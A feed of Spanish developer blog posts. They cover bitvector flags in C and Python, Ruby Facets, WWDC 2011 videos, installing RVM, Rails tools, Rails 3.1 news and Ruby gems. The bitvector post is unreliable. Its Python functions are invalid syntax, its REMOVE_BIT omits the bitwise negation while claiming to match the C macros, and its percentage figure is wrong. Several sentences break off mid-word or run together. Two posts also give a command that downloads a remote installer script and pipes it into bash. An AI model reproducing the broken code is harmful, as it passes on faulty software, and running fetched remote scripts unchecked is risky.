Sin embargo, utilizar un byte para un valor que puede ser representado por un único bit es un gasto del 88% más de recursos de los estríctamente necesarios si partimos de la base de que un byte puede almacenar ocho bits y representar 256 valores diferentes.
Si en nuestra aplicación necesitamos guardar estados o flags sobre nuestras estructuras de datos, podemos utilizar un tipo de dato para almacenar estados mucho más eficiente que un array de elementos de un byte de longitud o que propiedades de tipo booleano. Podemos usar Bitvectores.
Un bitvector es una variable por lo general de 16 o 32 bits (dependiendo de las necesidades de la aplicación) que sirve para almacenar estados que pueden tener solo dos posibles valores, verdadero o falso. Un entero de 32 bits está compuesto precisamente por 32 bits diferentes que pueden ser usados de forma individual para definir si el bit en una determinada posición esta activado (su valor es uno) o desactivado (su valor es cero).
Así, con tan solo cuatro bytes de memoria podemos representar 32 posibles estados diferentes que de cualquier otro modo hubieran ocupado 32 bytes (256 bits) un 400% más. Hay que tener cuidado de no confundir los Bitvectores con los bit fields de las estructuras, pues son dos conceptos totalmente diferentes.
Un numero sin signo de 32 bits puede representar desde el número 0 al 4294967295. Cada uno de esos números puede ser representado en base dos, por lo tanto, el número 0 representa todos los bits del entero sin signo a cero y el número 4294967295 los representa a uno:
BITS : 00000000000000000000000000000000 Decimal: 0BITS : 11111111111111111111111111111111 Decimal: 4294967295BITS : 00000000000000001111111111111111 Decimal: 65535BITS : 00001100001000001111000011110111 Decimal: 203485431Una vez entendido esto, podemos ver claramente como podemos utilizar una única variable de 32 bits (un entero sin signo) donde definamos que cada posición en base dos corresponde a un estado o flag en nuestras estructuras de datos. Si todos los estados están a
Pero operar con bitvectores es mucho más sencillo que eso, no es necesario recordar ningún valor decimal ya que podemos utilizar los operadores a nivel de bits para hacernos la vida mucho más sencilla. Utilizando los operadores a nivel de bits, podemos crear macros o funciones que nos ayuden a fijar los valores en nuestro vector de bits.
Yo siempre he sido muy amante de las macros en C, así que voy a hacer una implementación de un BitVector y de las funciones necesarias para su manipulación y uso utilizando macros. Además, el resultado es portable a cualquier plataforma y sistema operativo bien sean sus enteros de 32 o 64 bits y su ordenamiento de bits big endian o little endian.
/*
* 32bit bitvector defines
*/
#define BV00 (1 < < 0)
#define BV01 (1 << 1)
#define BV02 (1 << 2)
#define BV03 (1 << 3)
#define BV04 (1 << 4)
#define BV05 (1 << 5)
#define BV06 (1 << 6)
#define BV07 (1 << 7)
#define BV08 (1 << 8)
#define BV09 (1 << 9)
#define BV0A (1 << 10)
#define BV0B (1 << 11)
#define BV0C (1 << 12)
#define BV0D (1 << 13)
#define BV0E (1 << 14)
#define BV0F (1 << 15)
#define BV10 (1 << 16)
#define BV11 (1 << 17)
#define BV12 (1 << 18)
#define BV13 (1 << 19)
#define BV14 (1 << 20)
#define BV15 (1 << 21)
#define BV16 (1 << 22)
#define BV17 (1 << 23)
#define BV18 (1 << 24)
#define BV19 (1 << 25)
#define BV1A (1 << 26)
#define BV1B (1 << 27)
#define BV1C (1 << 28)
#define BV1D (1 << 29)
#define BV1E (1 << 30)
#define BV1F (1 << 31)
/*
* BitVector Macros
*/
#define IS_SET(flag, bit) ((flag) & (bit))
#define SET_BIT(var, bit) ((var) |= (bit))
#define REMOVE_BIT(var, bit) ((var) &= ~(bit))
#define TOGGLE_BIT(var, bit) ((var) ^= (bit))
En el ejemplo anterior hemos definido 32 posiciones de bitvector para el número entero sin signo 1. Después hemos definido unas macros con el objetivo de operar con estos bits:
flagbitbitvarbitvarbitvar
Vamos a ver un pequeño ejemplo de como se usaría en una aplicación:
/*
* Bits para estados de la estructura trabajador
*/
#define TRFLAG_ENFERMO BV00
#define TRFLAG_AUSENTE BV01
#define TRFLAG_TEMPORAL BV02
#define TRFLAG_INDEFINIDO BV03
#define TRFLAG_DISCONTINUO BV04
#define TRFLAG_JUNIOR BV05
#define TRFLAG_SENIOR BV06
#define TRFLAG_PROJECTLEAD BV07
#define TRFLAG_MANAGER BV08
#define TRFLAG_COACHER BV09
#define TRFLAG_SCRUMMAST BV0A
/*
* Worker Data Struct
*/
struct worker_data
{
char* name;
char edad;
int flags;
};
struct worker_data w_data;
w_data.name = "Perico";
w_data.edad = 26;
w_data.flags = 0; // Fijamos todos los bits a cero
SET_BIT(w_data.flags, TRFLAG_SENIOR);
SET_BIT(w_data.flags, TRFLAG_TEMPORAL);
SET_BIT(w_data.flags, TRFLAG_SCRUMMAST);
if (IS_SET(w_data.flags, TRFLAG_MANAGER) )
{
printf("%s es un administrativo\n", w_data.name);
}
if (IS_SET(w_data.flags, TRFLAG_SCRUMMAST))
{
printf("%s es Scrum Manager\n", w_data.name);
}
if (!IS_SET(w_data.flags, TRFLAG_INDEFINIDO))
{
printf("%s aún no es indefinido\n", w_data.name);
}
Hemos definido varios bitvectores relacionados con los estados de un trabajador. Hemos definido una estructura muy simple y hemos creado una variable de ese nuevo tipo. Le hemos asignado un nombre, una edad y hemos fijado el vector de bits de los
// w_data.flags = 0;
BITS : 00000000000000000000000000000000 Decimal: 0
// SET_BIT(w_data.flags, TRFLAG_SENIOR);
BITS : 00000000000000000000000001000000 Decimal: 64
// SET_BIT(w_data.flags, TRFLAG_TEMPORAL);
BITS : 00000000000000000000000001000100 Decimal: 68
// SET_BIT(w_data.flags, TRFLAG_SCRUMMAST)
BITS : 00000000000000000000000101000100 Decimal: 324
Puedes comprobar como se
Este tipo de optimización no está restringida solo al mundo de los lenguajes de tipado estático, en Python por ejemplo, también podemos hacer uso de esta optimización a nivel de bits de forma sencilla:
def IS_SET(flag, bit):
return (flag & (1 < < bit))
def SET_BIT(var, bit):
return (var |= (1 << bit))
def REMOVE_BIT(var, bit):
return (var &= (1 << bit))
def TOGGLE_BIT(var, bit):
return (var ^= (1 << bit))
El anterior código en Python tiene el mismo efecto que lo expuesto anteriormente en C.
No solo optimizamos el espacio que nuestras estructuras de datos ocupan en memoria, las operaciones a nivel de bits son también más rápidas. La optimización no solo es cosa de los lenguajes de tipado estático y más bajo nivel, la optimización es una cuestión de ingeniería del software y buenas prácticas, algo, que muchos profesionales y fabricantes en la industria han olvidado por completo, sobre todo, en la del videojuego.
Más Información:
Si bien las librerías que forman parte del core de Ruby son bastante completas, a menudo se echan en falta métodos para realizar operaciones con los objetos que no han sido tenidas en cuenta, y para las que deberemos bien recurrir a una gem externa, bien pasar a implementarlo nosotros mismos.
Una de las gems más conocidas en lo que a extensión de funcionalidad en las clases principales de Ruby se refiere es ActiveSupport, que nació como un componente más del framework Ruby on Rails, pero que hoy en día es utilizada ampliamente en multitud de gems y proyectos independientes de éste.
Sin embargo, también existe una colección mucho más amplia de extensiones a la librería de Ruby, y que es más desconocida. Su nombre es Ruby Facets, y aunque se trata de una gem bastante grande, no debe preocuparnos incorporarla a nuestro proyecto, pues está perfectamente modularizada, y podemos incluir únicamente las extensiones deseadas a nuestro software en Ruby, sin engordar inútilmente el espacio en memoria que ocupará nuestro proceso. De hecho, se pueden cargar las extensiones incluso método a método, o todas las extensiones disponibles para una clase determinada, con lo que podemos hilar tan fino como deseemos.
Para haceros una idea, en Facets nos encontraremos con métodos para realizar operaciones adicionales con un objeto de la clase Array, tales como hacer merges destructivos, calcular la entropía del mismo, calcular todas las permutaciones posibles de sus elementos, dividirlo en grupos de elementos según una expresión regular, y muchas más.
Dedicad unos minutos a navegar por su extensa documentación. Os garantizo que os encontraréis con muy gratas sorpresas.
Documentación | Facets Core, Facets More
Si tienes cuenta de desarrollador de Apple (y si no, siempre estás a tiempo de creártela, puesto que es gratuita), ahora ya puedes aprovechar los ratos libres del verano para acceder a los vídeos de las sesiones que se celebraron durante el famoso evento para desarrolladores de la compañía, el Worldwide Developers Conference (WWDC), durante los días 6 a 10 de junio de este año 2011.
Los contenidos de las sesiones abarcan diversos temas respecto al desarrollo de aplicaciones para ordenadores de escritorio (centrándose en las nuevas características del próximo sistema operativo, OS X Lion), al desarrollo de software para la plataforma móvil iOS (iPhone, iPod Touch y iPad), y en menor medida, al desarrollo de aplicaciones web aprovechando las nuevas características de HTML5, efectos y animaciones por CSS, y otras tantas soportadas por el navegador Safari, tanto en su versión de escritorio como en su versión móvil.
Además de los vídeos, también pueden descargarse las diapositivas estáticas en PDF, para su impresión o consulta, si bien perderemos lógicamente las demos y las animaciones en las mismas dispuestas para mejorar la comprensión de los conceptos que en cada charla se tratan.
Sitio oficial | Vídeos de la Apple WWDC 2011
]]>
Ruby es un lenguaje que ha madurado muchísimo en los últimos años. Al principio sólo existía un intérprete, el de Matz, y su rendimiento no era lo que se dice espectacular (el propio Matz ha admitido en varias ocasiones que él no es un experto en la construcción de este tipo de software, y que buena parte del código debería ser revisado y optimizado).
Hoy en día hay un buen puñado de intérpretes diferentes para este maravilloso lenguaje: Ruby 1.8, Ruby 1.9, JRuby, Rubinius, MacRuby, Maglev, Ruby Enterprise Edition, IronRuby… Algunos de ellos llevan usándose en entornos de producción desde hace algún tiempo.
Siempre es más que recomendable que utilices el mismo intérprete que estés usando en producción, para evitar sorpresas. El problema viene cuando trabajas en varios proyectos escritos en Ruby al mismo tiempo, y cada uno de ellos utiliza un intérprete diferente. O también, utilizan versiones de gems diferentes, y parece que la única solución sea andar desinstalando e instalando versiones de dichas gems cada vez que cambias de uno a otro, lo cual es evidentemente poco práctico y nada razonable.
Imagina la situación: Empiezas la jornada trabajando en el Proyecto 1, el cual lleva en desarrollo bastante tiempo y aún se basa en la versión 2.3 de Rails. Dado que esta versión aún tenía problemas de compatibilidad con la serie 1.9 de Ruby (esta versión del intérprete aún no era muy popular por aquel entonces, pues se encontraba en un estado poco maduro), el proyecto utiliza Ruby Enterprise Edition, una variante del intérprete 1.8 con varias mejoras de rendimiento (en especial, en el plano de la gestión de memoria). De modo que en tu máquina local instalas Ruby Enterprise Edition, Rails 2.3 y todas las gems de las que depende el proyecto.
Más tarde, te pones a trabajar en el Proyecto 2, que acaba de comenzar, y con el que os habéis decidido a usar Rails 3.1 (que para cuando finalice el proyecto ya estará maduro) y Ruby 1.9.2. Necesitas poder instalar este segundo intérprete sin que pise los ejecutables del primero, y cambiar tu PATH si es necesario para que localice los nuevos binarios. Cada vez que cambies del primer proyecto al segundo, has de actualizar tu PATH para asegurarte que estás usando los binarios correctos. Si has de actualizar a una versión menor del intérprete, tendrás que repetir estas operaciones, y reinstalar todas las gems.
Por último, llama un cliente al que le desarrollásteis una aplicación en Rails 2.2 con Ruby Enterprise Edition, y que necesita un pequeño cambio urgente. Como vuestro REE lo tenéis configurado para el Proyecto 1, tenéis instaladas las gemas de Rails 2.3, así como las versiones de otras gemas que funcionan bien para esa aplicación. Cuando os ponéis a instalar las dependencias de esta vieja aplicación, e intentáis arrancarla, empiezan a llover errores de dependencias entre versiones (se intenta cargar una versión específica de una gem, pero alguna otra librería la ha cargado ya en otra versión, de modo que cuando intenta leer la más vieja devuelve un error). Dado que Rails 2.x aún no utilizaba bundler para la gestión de dependencias, tenéis que arremangaros y empezar a desinstalar las versiones de gems conflictivas, a sabiendas que cuando volváis a volcar vuestra atención en el Proyecto 1 tendréis que deshacer estos pasos.
¿Te suenan algunas de estas situaciones? Si te dedicas a programar aplicaciones en Ruby desde hace tiempo, seguro que sí. Y por eso Ruby Version Manager viene a nuestro rescate. Gracias a esta herramienta, podemos tener tantos intérpretes de Ruby como queramos, incluso diferentes versiones menores de un mismo intérprete, y cambiar de uno a otro tan sólo ejecutando un comando. Además, podemos definir un gemset (un conjunto de gemas) para cada proyecto, de modo que cuando nos cambiemos a un gemset en particular, éste contenga exclusivamente las gemas que hacen falta para correr la aplicación, en sus versiones apropiadas, sin que afecten a las otras aplicaciones que podamos tener.
En primer lugar, has de tener un sistema que ejecute alguna variante de Unix. RVM no funciona en máquinas Windows, aunque sí que se comporta perfectamente bajo Linux o Mac OS X. La instalación es sencillísima, tan sólo has de tener instalada la herramienta curl (en Mac OS X viene instalada por defecto), así como Git, y ejecutar el siguiente comando:
$ bash < <(curl -s https://rvm.beginrescueend.com/install/rvm)
Una vez instalado y actualizado tu PATH para incluir la ruta a los binarios de RVM, tal y como te recomienda el proceso final de instalación, sólo has de instalarte los intérpretes de Ruby que consideres oportunos. En Mac OS X, necesitarás tener instalado el paquete de Xcode SDK, que es donde viene el compilador de C. En Linux, deberás instalar estas dependencias usando el administrador de paquetes de tu distribución. Si utilizas Debian o derivados (como Ubuntu), bastará normalmente con que instales el metapaquete build-essentials. Si algún intérprete requiere que se cumplan dependencias adicionales, se te informará sobre ello.
Por ejemplo, podemos instalar el intérprete REE y el 1.9.2, requisitos de los ejemplos que mencioné antes:
$ rvm install ree $ rvm install 1.9.2
Para cambiar de uno a otro una vez instalados, tan sólo hay que hacer:
$ rvm ree
Como mencionaba anteriormente, podemos crear conjuntos de gemas separadas para cada proyecto. Tan sólo hay que especificar un nombre para ese gemset, y utilizar las herramientas que rvm proporciona (puedes escribir “rvm gemset” para ver todos los comandos disponibles). Por ejemplo, podemos crearnos un gemset para el proyecto 1, y cambiarnos a él:
$ rvm gemset create proyecto1 $ rvm gemset use proyecto1
Es importante entender que el gemset se crea para el intérprete que estemos usando en ese momento. De modo que antes de crear un gemset, selecciona el intérprete adecuado.
No quisiera finalizar el artículo sin mencionaros una vía rápida para que, al cambiar a la carpeta de un proyecto, RVM os seleccione el intérprete y gemset adecuados de forma automática. Para ello, sólo tenéis que crear un fichero de nombre “.rvmrc” en la carpeta en cuestión, y éste contendrá la serie de comandos necesarios para realizar estas operaciones. Cuando entréis en dicha carpeta desde línea de comandos, RVM ejecutará dichas acciones, y todo estará listo para empezar a trabajar. Por ejemplo, podéis tener algo como esto (que no es más que un atajo a la selección del intérprete y del gemset, creando este último en el camino en caso de que no exista, todo en un único comando):
rvm —create 1.9.2@proyecto2
Espero haber esclarecido las ventajas principales de usar una herramienta como RVM en tu entorno de trabajo. Por supuesto, RVM posee muchas más funcionalidades, que te invito a que conozcas visitando la web oficial.
¿Usas ya RVM? ¿Qué otros trucos similares conoces para llevar un control de los requisitos de tus proyectos?
Más información | Ruby Version Manager
]]>
Las semanas delante del teclado y la pantalla se pueden hacer muy duras mientras llega el anhelado verano. En Genbetadev lo sabemos y por eso, de vez en cuando, te traemos curiosidades (pijaditas, frikadas, tontás o como quieras llamarlas) para sacarte una sonrisa y que tu productividad decaiga durante unos minutos. Hoy os traemos GitHub High Scores, una web que no es más que un ranking de contribuidores a repositorios Git en GitHub (te recuerdo que mi compañero Carlos ha iniciado una serie de posts sobre GitHub y que incluso en Genbetadev hemos creado nuestra propia cuenta donde iremos subiendo nuestro código) en un formato realmente llamativo: la página de scores de una máquina recreativa de 8-bits ochentera. Es que lo retro está de moda.
Pues nada, entretente un rato metiendo repositorios a ver el ranking de sus contribuidores y, ya de paso, te reto a encontrar una frikada más gorda de entre las surgidas entre los últimos días. Venga, valiente, atrévete… ¿o es que acaso eres un gallina?
Vía | The Changelog
Fuente | GitHub High Scores
¿Os ocurre también a vosotros que os perdéis entre todas las APIs y herramientas que ofrece Google? Pues bien, Google sabiendo que cada vez tienen más tecnologías que ofrecer a los desarrolladores creó hace tiempo una interesante tabla con todas ellas agrupadas en áreas de interes como si fueran los elementos de la tabla periódica.
Es interesante visitar de vez en cuando la tabla con las APIs de Google, ya que van incorporando nuevas APIs como la reciente Google Tasks o Google APIs Discovery Service lanzada después de la Google I/O de principios de mes.
Hay que echarle un buen rato para recorrer todo lo que ofrece, apabulla el dominio que posee Google pero nos puede ser de buena ayuda para descubrir algun servicio que nos facilite la vida y que no conociamos. Podemos encontrar desde Google Search, Android, Adsense, Chrome, Google Apps, GWT, App Engine, elementos sociales (Orkut o Social Graph Api), Google Tools, Google Maps o Google Mobile..
Sitio web | Google APIs
]]>
Seguimos con los especiales acerca de cuáles son las herramientas imprescindibles a la hora de embarcarte en un proyecto con tu lenguaje y/o framework preferido. En esta ocasión, os voy a describir las que yo considero más importantes para desarrollar aplicaciones en Ruby on Rails. Aunque estoy seguro que hay muchas otras que se os ocurren, así que os invito a que comentéis vuestras preferencias.
¿Usar un editor ligero, o un IDE que lo abarque todo? El eterno dilema. Yo la verdad es que soy de los que prefieren un editor más o menos sencillo, pero que sea fácilmente extensible a través de plugins. Mi elección ha sido desde hace mucho tiempo TextMate, un editor del que ya os hablé en su día.
No obstante, existen un buen número de IDEs para programar con Ruby on Rails que funcionan realmente bien, y que se pueden convertir fácilmente en tu centro de mando de todo el proyecto, gracias a su integración con sistemas de control de versiones, visor de base de datos, etc.
Uno de los IDEs más conocidos es RubyMine. Si bien no es gratuito (salvo que sea usado para proyectos de software libre), su precio no es descomunal, partiendo de 58 euros la versión para un desarrollador individual. A cambio de este dinero, se nos ofrece un entorno con un editor que permite el autocompletado de código, herramientas de ayuda para la refactorización, análisis de código al vuelo, visor del esquema de los modelos, soporte para Bundler o RVM, depurador, soporte para diversos sistemas de control de versiones… En definitiva, toda una navaja suiza. Está disponible para Windows, Mac OS X y Linux.
El otro IDE popular para programar en Ruby es NetBeans, que aunque es más conocido como un entorno para Java, existen unos módulos oficiales que permiten utilizarlo para este otro lenguaje. De nuevo, nos ofrece herramientas de ayuda a la refactorización, inferencia de tipos, navegación rápida entre ficheros relacionados, parseo de código mientras se escribe para detectar errores de sintaxis, y un largo etcétera.
Lógicamente, necesitamos una versión del intérprete de Ruby para poder trabajar. En los proyectos nuevos, ya no tiene tanto sentido utilizar la versión 1.8.x del intérprete oficial, y lo recomendable suele ser trabajar directamente con la versión 1.9.2 del mismo. No obstante, además de los intérpretes oficiales, existen muchos otros igualmente válidos, algunos de los cuales bastante potentes, y siempre que las librerías y gems que vayamos a utilizar en nuestro proyecto sean compatibles con estos, no existe ninguna traba para usarlos.
El intérprete oficial (también llamado CRuby) se puede descargar en sus diferentes versiones desde la página oficial del lenguaje, aunque si utilizas Linux seguramente te sea más fácil utilizar los paquetes que te proporcione tu distribución. Algunos de estos intérpretes alternativos a CRuby son: JRuby, Rubinius, Ruby Enterprise Edition, y otros muchos que aún tienen algunos problemas de compatibilidad con librerías habituales.
Si tuviera que mencionar un favorito de entre los alternativos, ese sería JRuby, ya que no sólo su rendimiento es espectacular, sino que además permite la ejecución de aplicaciones Rails en entornos donde sólo tienen cabida servidores de aplicaciones en entornos Java como pudiera ser GlassFish. Esto permite que puedas colocar tu aplicación Rails en servidores de empresas que ya están siendo usados para servir otras aplicaciones escritas en Java sin tener que cambiar mucho el entorno del servidor.
Si además deseas poder trabajar con varios intérpretes simultáneamente desde tu máquina, te aconsejo que le eches un buen vistazo a Ruby Version Manager (RVM). Aunque tengo intención de dedicarle un artículo por separado en breve.
Aunque a menudo Rails se utiliza como backend web de ciertas aplicaciones, es más habitual que sea usado para programar una aplicación web completa, incluido el frontend. Y claro, cualquier aplicación web que se precie ha de probarse bien en diversos navegadores, no sólo el que tengas en tu máquina. Es por ello que el uso de un software de virtualización se vuelve imprescindible.
Yo trabajo con Mac, pero dado que he de probar el renderizado de las vistas en Internet Explorer, he de instalarme una máquina virtual para poder tener Windows en ella con este navegador, que no existe para otras plataformas. Es más, lo normal es tener más de una máquina virtual, cada una con una versión diferente del navegador, para realizar las pruebas con un entorno lo más fiel posible a aquel que utilizará el usuario. Si trabajas en Windows, necesitarás poder probarlo en Safari. Si trabajas en Linux, puede que necesites probar tu aplicación en los dos navegadores anteriormente mencionados. En definitiva, seguramente necesites un software de virtualización.
De entre los más famosos, se encuentra VirtualBox (que ahora pertenece a Oracle), el cual corre en todas las plataformas y es gratuito. Aunque también puedes usar Parallels, una de las opciones preferidas si trabajas con Mac, o VMWare, un clásico del mundo de la virtualización que no defrauda.
Es muy habitual que tu aplicación web necesite poder manipular imágenes subidas por los usuarios. Y aquí la navaja suiza suele ser ImageMagick, un software que permite hacer recortes, giros, redimensionados, adiciones de texto superpuesto, y decenas de otros efectos, a imágenes que estén en casi cualquier formato. Si bien lo normal es utilizar una gema de Ruby que facilite estas operaciones utilizando un DSL sencillo, estas gemas suelen luego traducir las especificaciones de tamaños y cambios de proporción que hayamos escrito en comandos que utilizan las herramientas ImageMagick. Así que es casi obligatorio tenerlas instaladas.
Aunque he de decir que últimamente utilizo más las herramientas para desarrolladores de Chrome, la herramienta favorita para obtener resultados similares es sin duda Firebug. Gracias a esta extensión para Firefox, podrás inspeccionar el DOM, realizar cambios en el mismo, echar un vistazo a las peticiones HTTP realizadas, depurar código Javascript, analizar el rendimiento de tu aplicación, y otras muchas actividades realmente útiles durante el desarrollo. Imprescindible.
Si bien podemos operar con la base de datos desde línea de comandos, probablemente existan muchas operaciones (especialmente de consulta) que sería más cómodo realizarlas desde una interfaz gráfica más amigable. Si trabajas con MySQL y estás en Mac, te recomiendo que descargues Sequel Pro. Es una aplicación muy cuidada, y con la que podrás manipular a tu antojo cualquier aspecto de tu base de datos. Si prefieres tener una solución web, que corre en todas las plataformas, entonces te recomiendo phpMyAdmin, desde el cual podrás igualmente hacer la mayoría de las operaciones entrando con cualquier navegador.
Es realmente sano hacer que los tests escritos para tu aplicación se corran de forma automática cada vez que subes algo al repositorio de control de versiones. Para este propósito, mi preferido es Integrity, un servidor muy ligero pero no por ello menos potente escrito en Sinatra.
Es necesario que llevemos un control de las tareas que hemos realizado, estamos realizando o pensamos realizar, así como que marquemos unos objetivos a corto plazo y registremos cualquier tipo de notas relacionadas con las tareas o bugs que nos sirvan de base de conocimiento. Para todo esto, y para organizar el trabajo en equipo, lo mejor es utilizar un servicio online que encaje con vuestra forma de trabajar. En este caso, mis preferencias se decantan por Pivotal Tracker, un servicio web de gestión de tareas online que encaja perfectamente con la filosofía de trabajo SCRUM. Pero si prefieres un entorno más clásico de tickets, milestones y cosas así, o si sencillamente prefieres poder instalar la herramienta de gestión en tu servidor, Redmine es probablemente tu mejor opción. Y como está escrita en Ruby on Rails, siempre puedes extenderla fácilmente para ir adaptándola a tus necesidades.
Estas son algunas de las herramientas que utilizo a diario, y que se han convertido en parte imprescindible de mi trabajo. Espero que te resulten útiles para empezar. Y si ya trabajas con Ruby on Rails, esperamos que nos cuentes cuáles son tus preferidas.
La nueva versión de Ruby on Rails está cada vez más cerca, y son muchas las novedades que nos trae. Así que me he decidido a recopilarlas y a enumerar algunas de las que considero más interesantes para que os vayáis haciendo una idea.
Debido a que estas novedades son muy numerosas, y para no escribir un artículo excesivamente largo, trataré de recoger las que más han llamado mi atención en al menos un par de posts.
Si quieres ir disfrutando ya de la primera beta, así como probar algunos de los cambios que paso a comentaros a continuación, podéis instalarla utilizando Rubygems mediante el comando:
$ gem install rails —pre
Os aconsejo utilizar Ruby Version Manager (rvm) para poder tener instaladas varios entornos, y así no comprometer vuestro trabajo diario con Rails. Al igual que las versiones anteriores más recientes de Rails, el framework es perfectamente compatible con la versión 1.9.2 de Ruby, con lo que recomiendo encarecidamente su uso (¿todavía no usas Ruby 1.9.2 en tu entorno de producción?):
$ bash < <(curl -s https://rvm.beginrescueend.com/install/rvm) $ rvm install 1.9.2 $ rvm 1.9.2@rails31 —create $ gem install rails —pre
Pues sí, jQuery pasa a desbancar a Prototype y scriptaculous como las librerías de Javascript por defecto. He de decir que no me sorprende, pues la mayoría de los desarrolladores Rails que conozco usan ya esta librería para casi todos sus proyectos. Por supuesto, es muy sencillo usar otra si no te convence, pero ya sabemos que Rails se caracteriza por ser “opinionated software”, así que es normal que haya siempre una favorita.
Para mayor comodidad, la comunidad ha preparado un par de gemas que podemos añadir a nuestro fichero Gemfile, proveyendo así a nuestro proyecto de los ficheros necesarios correspondientes a estas librerías. En concreto, jquery-rails y prototype-rails. Es de esperar que aparezcan otras con el tiempo. Si quieres indicar la librería deseada desde el mismo momento en que creas el esqueleto de tu aplicación, puedes hacerlo utilizando el parámetro “-j”, seguido del nombre de la librería (“jquery” o “prototype”).
SASS, o “Syntactically Awesome Stylesheets”, es una herramienta que merece ser nombrada en un artículo por separado. No obstante, resumiré que nos sirve para facilitar la escritura de nuestras hojas de estilo, permitiendo incluir en ellas reglas anidadas, variables, módulos que definen funciones que a su vez definen un conjunto de estilos, condiciones, bucles… En definitiva, nos permite eliminar código redundante en las CSS, simplificándolo bastante, de modo que sean más sencillas de mantener. SASS se encargará luego de convertir esos ficheros en hojas de estilo convencionales, que son las únicas que entiende el navegador.
Pues bien, en Rails 3.1 la gem para la integración de esta herramienta con nuestro proyecto viene incluida por defecto en el fichero Gemfile de dependencias.
Poco he de añadir a este hecho que ya fue comentado por mi compañero Toni el mes pasado. Pero consideré necesario incluirlo de nuevo en este artículo, para recordarlo. Si aún no has probado Coffeescript, te recomiendo enormemente que lo hagas, pues hará que tu código Javascript se reduzca a unas pocas líneas al mismo tiempo que disfrutarás de una sintaxis más parecida a Ruby para escribir código del frontend de tu aplicación.
Pues sí, a partir de ahora el lugar preferido para almacenar estos ficheros es en app/assets/stylesheets y app/assets/javascripts, respectivamente. Además, se utilizan nombres de fichero parecidos a las vistas, donde una primera extensión del fichero indica el formato de éste (ej: “js” o “css”), y una segunda extensión sirve para indicar el motor que se utilizará para generar este formato a partir del fichero original (por ejemplo, “coffee” para convertir un fichero escrito con Coffeescript en Javascript). En el directorio public sólo se almacenarían los ficheros ya procesados, los cuales además serían unidos para formar un único fichero Javascript y un único fichero CSS para toda la aplicación, gracias a Sprockets.
Los generadores de código de Rails 3.1 van a comenzar a usar sintaxis de Ruby 1.9 cuando estés usando esta versión del intérprete del lenguaje. Esto significa que los hashes por ejemplo van a empezar a escribirse de forma similar a los hashes escritos en JSON, que es la forma preferida de escribir un hash con Ruby 1.9:
redirect_to posts_path, notice: “El post ha sido creado correctamente.”
Los resultados de la ejecución de los tests son ahora más claros con la inclusión de la gema turn, la cual utiliza un formato de salida a color para destacar mejor los tests que pasan y los tests fallidos, y en lugar de marcar simplemente los tests válidos como puntos y los tests erróneos o fallidos con los caracteres E y F, los describe cada uno en una línea utilizando el nombre del método definido en el fichero de tests (sustituyendo símbolos de subrayado por espacios), e incluyendo por cada uno de ellos el tiempo de ejecución.
La utilización de aplicaciones Rack para tratar diferentes funcionalidades en cada petición se generaliza, con la inclusión de las siguientes al stack por defecto: Rack::Etag, Rack::ConditionalGet, Rack::Cache.
Gracias a la inclusión de ActionController::Streaming, ahora se pueden responder a determinadas acciones mediante HTTP Streaming, si el servidor web lo soporta. Para activarlo en ciertas acciones de tus controladores, puedes incluir una llamada al método de clase “stream” con unos parámetros cuya sintaxis recuerda a la de los filtros de controladores. Por ejemplo:
class PostsController < ActionController::Base stream :only => :index end
¿Cansado de especificar tus propios métodos de actualización de atributos en tus modelos porque update_attributes no te basta, al querer diferentes comportamientos según el rol del usuario que esté realizando el cambio, o según se den ciertas condiciones? Con Rails 3.1, puedes proteger la actualización de diferentes atributos según el rol que se utilice durante dicha operación. Por ejemplo:
class Post < ActiveRecord::Base attr_accessible :title, :published_at, :as => :admin end Post.new(params[:post], :as => :admin)
Más información | The Changelogs for Rails 3.1 Beta 1
]]>
A día de hoy, existen numerosas gemas de Ruby para realizar tareas realmente dispares. Y es que el número de éstas ha aumentado considerablemente en los últimos años, proveyendo a los desarrolladores de todo un pequeño universo de librerías útiles con las que facilitarles el trabajo. En este breve especial, voy a tratar de describir algunas de las gemas que considero imprescindible conocer, pues cubren algunas de las funcionalidades más habituales que solemos encontrar en forma de requisitos en muchas aplicaciones, de modo que podamos integrarlas en nuestra aplicación escrita en Ruby on Rails para cumplir sobradamente estas necesidades.
Esta gema escrita por Jonas Nicklas nos sirve para añadir a nuestra aplicación la posibilidad de almacenar y procesar ficheros subidos por nuestros usuarios. Si bien han existido numerosos plugins para realizar esta misma función anteriormente (attachment_fu, paperclip, y otros), esta gema utiliza una separación de código bastante limpia, guardando cada uploader como una clase propia donde podemos especificar reglas concretas para manipular esos ficheros que nos adjuntan.
Se integra con cualquier aplicación Rack, de modo que podemos utilizarla tanto con Ruby on Rails, como con cualquier otro framework basado en este adaptador (Sinatra, Merb, Camping…). Además, es capaz de utilizar proveedores de almacenamiento como Amazon S3, Google Storage, Rackspace Cloud Files, y otros, de modo que los ficheros entrantes, una vez procesados, puedan ser guardados utilizando alguno de estos servicios. Al tratarse de módulos separados, es fácil extender la gema para agregar cualquier otro servicio de almacenamiento.
También permite utilizar RMagick, ImageScience o MiniMagick cuando los ficheros a tratar sean imágenes, de modo que podamos hacer recortes, escalados, y cualquier otro efecto sobre la imagen que soporte la librería que hayamos elegido. Nuevamente, esta funcionalidad se agrega en forma de módulo, de modo que podemos crearnos el nuestro propio para realizar cualquier otro tipo de manipulación deseada y que no esté soportada (ej: extracción de texto de un PDF, parseo de un archivo separado por comas, etc).
Su código se puede encontrar en Github.
Gracias a esta gema de Akira Matsuda, la paginación de objetos se torna sencilla y elegante. Nuevamente, existen muchas otras opciones perfectamente válidas, siendo la más conocida will_paginate. Pero esta gema aprovecha la posibilidad de definir scopes en ORMs como ActiveRecord, Mongoid o Mongomapper, de modo que su código se torna más sencillo, y la personalización del aspecto del paginador es bastante más elegante. De hecho, esta personalización visual es extensible en forma de themes, de modo que ya empiezan a aparecer algunas gemas con dichos themes para adoptar el aspecto de paginadores como los de GitHub, Google, etc.
La paginación no se limita a instancias devueltas por nuestro ORM favorito, sino que podemos paginar también arrays utilizando un wrapper:
Kaminari.paginate_array(my_array_object).page(params[:page]).per(10)
Su código se puede encontrar en Github.
Gemas para tratar el problema de la autentificación de usuarios hay muchas, aunque yo sigo más la costumbre de crear mi propio sistema de registro y autentificación de usuarios, ya que es una tarea relativamente sencilla y que permite luego un mayor grado de personalización (tratar de adaptar el comportamiento de gemas como Devise se puede tornar complicado).
Pero empieza a ser muy habitual que necesitemos permitir la autentificación mediante cuentas de otras plataformas como Facebook, Twitter, Google Apps, y otros. Y aquí es donde viene a ayudarnos OmniAuth.
